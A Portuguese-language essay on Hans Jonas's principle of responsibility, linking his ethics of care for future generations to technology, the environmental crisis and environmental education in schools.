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O Princípio Responsabilidade, as Técnicas e a Ética-ambiental aplicada à Educação.

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Em sua obra “O princípio responsabilidade”, Hans Jonas, considera a existência futura da humanidade como horizonte temporal fundamental. Assinala que a preservação da natureza se relaciona diretamente com a existência das gerações futuras, uma vez que as nossas relações tanto pessoais, quanto com a natureza, sofrem os impactos das intervenções humanas, das quais resulta a chamada ‘crise ambiental’. O autor assumirá assim uma perspectiva heurística, com base na qual afirmará que é preferível o prognóstico de desastre a um prognóstico de felicidade,

porque o medo da não existência humana no futuro pode nos levar a tentar obter qualquer melhora potencial para a preservação do planeta.

A chamada ‘crise ambiental’ se constitui como problema, somente nos últimos séculos. A nova proposta ética, esboçada por Hans Jonas, abre uma nova dimensão através de uma projeção de longo prazo, direcionada às ações humanas, seus resultados e efeitos. Afirma ainda, que não se pode evitar que o meu agir afete o destino dos outros, que a falta de consciência sobre o próprio agir ponha em risco o futuro da espécie humana.

Considera a existência futura da humanidade como horizonte temporal fundamental. Assinala que a preservação da natureza se relaciona diretamente com a existência das gerações futuras, uma vez que as nossas relações tanto pessoais, quanto com a natureza, sofrem o impacto das intervenções humanas, das quais resulta a chamada crise ambiental.

A técnica e as tecnologias permitem o uso de instrumentos que proporcionam o conforto e bem-estar, tornando o homem dependente da eficácia desses instrumentos, assim como da rapidez, que inspira confiança.  O medo da não existência pode nos levar a pensar e a refletir acerca de uma nova relação entre o homem, a natureza e a técnica. Jonas nos adverte a refletir sobre uma melhor utilização ou transformação dos processos econômicos, políticos, tecnológicos voltados à natureza e, consequentemente da nossa existência.

O princípio responsabilidade visa à existência, o direito à vida, um direito que deve ser respeitado, pois toda vida reivindica vida. É exatamente a preocupação com o que ainda não existe que dá fundamentação ao princípio responsabilidade. Trata-se de considerar que aquilo que está em jogo não é apenas o indivíduo e sim a perpetuação da espécie humana.

Diante da relação de responsabilidade, isenta de reciprocidade, Jonas exemplifica a responsabilidade que encontramos entre pais e filhos. Constitui-se como uma responsabilidade incondicional para com a perpetuação, não somente da prole, mas da humanidade.

O dever de existir é um dever para com a humanidade futura. O segundo dever baseia-se no modo de ser da futura humanidade que consiste na construção de novos hábitos, de atitudes pautadas num novo agir e de uma nova formação educacional norteada em princípios éticos. Por isso temos a responsabilidade de preservar e conserva a Terra.

O futuro da humanidade, bem como a sua existência, está diretamente relacionado ao princípio responsabilidade elaborado por Hans Jonas. A preservação da natureza é fundamental para as gerações presentes e futuras. As ações antrópicas, no meio social, como no natural, geram a ‘crise ambiental’.

É preciso que se verifique um novo enfoque na dualidade ética-educação ambiental, voltada especialmente para a educação escolar. Devemos desenvolver um novo olhar sobre nós e os outros. Necessitamos formar um novo cidadão, consciente, atuante e crítico, com elevado nível do princípio responsabilidade, com capacidade de conservar e preservar o planeta Terra.

Qual o tamanho do risco que corremos? A civilização contemporânea é dirigida pela tecnologia, tornando o homem bastante dependente do bom funcionamento desta. Os autores chamam a atenção para o uso adequado dos instrumentos da tecnologia e da técnica, lembrando que esta pode ser direcionada e expandir-se a partir de um novo modelo de uso, sobretudo quando nos remetemos aos recursos naturais dos quais depende a existência das gerações presentes e futuras.

Outro risco que corremos, em relação à utilização da intervenção tecnológica é quanto mais tempo ficamos ligados à mesma, mais perigos e incertezas correremos. Jonas assegura que o medo da não existência pode nos levar a pensar acerca de uma nova relação entre o homem, a natureza e a técnica. Ainda, nos chama a atenção para refletirmos sobre os processos econômicos, políticos, tecnológicos, educativos, destinados à preservação e conservação da natureza e, consequentemente, da nossa existência.

Ainda, segundo Jonas, a humanidade possui uma obrigação incondicional de existir, que se diferencia ontologicamente da existência de cada indivíduo. Assim, frente a esse novo contexto tecnológico, é preciso seguir alguns princípios e limites, contribuído para que as ações humanas sejam limitadas, não colocando em perigo a existência inteira da humanidade no futuro.

A Terra fornece todos os recursos naturais de que necessitamos. Porém verificamos que o homem vem destruindo de forma agressiva o ambiente, em prol do seu bem estar e do desenvolvimento econômico. Havendo assim um grande desequilíbrio entre o avanço da técnica e a preservação dos recursos naturais.

Há uma necessidade de uma grande transformação, não somente do homem, mas na perspectiva filosófica, ética e cultural, calcada numa nova visão da natureza, centrada na relação ética-educação ambiental.

Hans Jonas, a partir do método fenomenológico, aponta condições favoráveis para a instauração de uma Ética-Ambiental ou Ética da Responsabilidade, como paradigma fundamental da Educação Ambiental. Ainda considera que diante das transformações aceleradas que vem ocorrendo no mundo atual, é necessário refletirmos acerca do destino do homem, como também da sua imagem, da sua sobrevivência física e da integridade da sua essência.

Consideram ainda que, para que o homem contemporâneo cuide e zele do seu habitat é primordial a transformação de sues hábitos e suas práticas. É preciso construir uma nova concepção de dever para o qual, a ética tradicional, como também, a visão científica da natureza nos oferece a sustentação. Na atualidade, tudo aquilo que é produzido pelo homem, afeta o meio ambiente. A saída para este problema é apresentada por Jonas ao sugerir que a imperativa responsabilidade deve ser posta em prática, por meio das políticas públicas planejadas em longo prazo, com o objetivo de desenvolver ações coletivas, visando à preservação da espécie humana. Heidegger sugere o que significa ter o cuidado e o zelo com a natureza, ao mesmo passo, a responsabilidade ética de uns para com os outros.

            A atual crise ambiental obriga ao desenvolvimento de uma nova perspectiva ética, com a finalidade de construir uma base unitária ética-educação ambiental, voltada para o desenvolvimento sustentável, através da interdisciplinaridade.

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